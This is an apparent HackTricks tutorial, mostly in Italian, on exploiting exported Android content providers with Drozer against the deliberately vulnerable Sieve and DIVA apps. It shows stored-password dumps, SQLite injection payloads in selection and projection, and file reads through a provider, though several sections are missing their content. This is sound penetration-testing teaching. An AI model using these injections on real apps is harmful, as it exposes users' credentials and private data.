Exploiting Content Providers

Exploiting Content Providers

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Intro

I dati sono forniti da un'applicazione ad altre su richiesta da un componente noto come content provider. Queste richieste sono gestite attraverso i metodi della classe ContentResolver. I content provider possono memorizzare i loro dati in varie posizioni, come un database, file o su una rete.

Nel file Manifest.xml, è necessaria la dichiarazione del content provider. Ad esempio:

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

Per accedere a content://com.mwr.example.sieve.DBContentProvider/Keys, è necessaria l'autorizzazione READ_KEYS. È interessante notare che il percorso /Keys/ è accessibile nella sezione seguente, che non è protetta a causa di un errore dello sviluppatore, che ha protetto /Keys ma ha dichiarato /Keys/.

Forse puoi accedere a dati privati o sfruttare qualche vulnerabilità (SQL Injection o Path Traversal).

Ottieni informazioni da content provider esposti

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

È possibile ricostruire come raggiungere il DBContentProvider iniziando gli URI con “content://”. Questo approccio si basa su intuizioni ottenute utilizzando Drozer, dove informazioni chiave si trovavano nella directory /Keys.

Drozer può indovinare e provare diversi URI:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Dovresti anche controllare il codice del ContentProvider per cercare query:

Inoltre, se non riesci a trovare query complete, potresti controllare quali nomi sono dichiarati dal ContentProvider nel metodo onCreate:

La query sarà simile a: content://name.of.package.class/declared_name

Content Provider supportati da database

Probabilmente la maggior parte dei Content Provider è utilizzata come interfaccia per un database. Pertanto, se puoi accedervi, potresti essere in grado di estrarre, aggiornare, inserire e eliminare informazioni. Controlla se puoi accedere a informazioni sensibili o prova a modificarle per bypassare i meccanismi di autorizzazione.

Quando controlli il codice del Content Provider guarda anche per funzioni chiamate come: query, insert, update e delete:

Perché sarai in grado di chiamarle

Query content

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: [e-mail]

Insert content

Interrogando il database imparerai il nome delle colonne, poi, potresti essere in grado di inserire dati nel DB:

Nota che in insert e update puoi usare --string per indicare stringa, --double per indicare un double, --float, --integer, --long, --short, --boolean

Update content

Conoscendo il nome delle colonne potresti anche modificare le voci:

Delete content

SQL Injection

È semplice testare per SQL injection (SQLite) manipolando i campi di proiezione e selezione che vengono passati al content provider. Quando interroghi il Content Provider ci sono 2 argomenti interessanti da cercare informazioni: --selection e --projection:

Puoi provare ad abusare di questi parametri per testare per SQL injections:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Scoperta automatica di SQLInjection da parte di Drozer

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

Content Provider supportati dal File System

I content provider possono essere utilizzati anche per accedere ai file:

Leggi file

Puoi leggere i file dal Content Provider

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Path Traversal

Se puoi accedere ai file, puoi provare ad abusare di un Path Traversal (in questo caso non è necessario, ma puoi provare a usare "../" e trucchi simili).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Scoperta automatica del Path Traversal da parte di Drozer

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

Riferimenti

• https://www.tutorialspoint.com/android/android_content_providers.htm

• https://manifestsecurity.com/android-application-security-part-15/

• https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!

• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.

• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.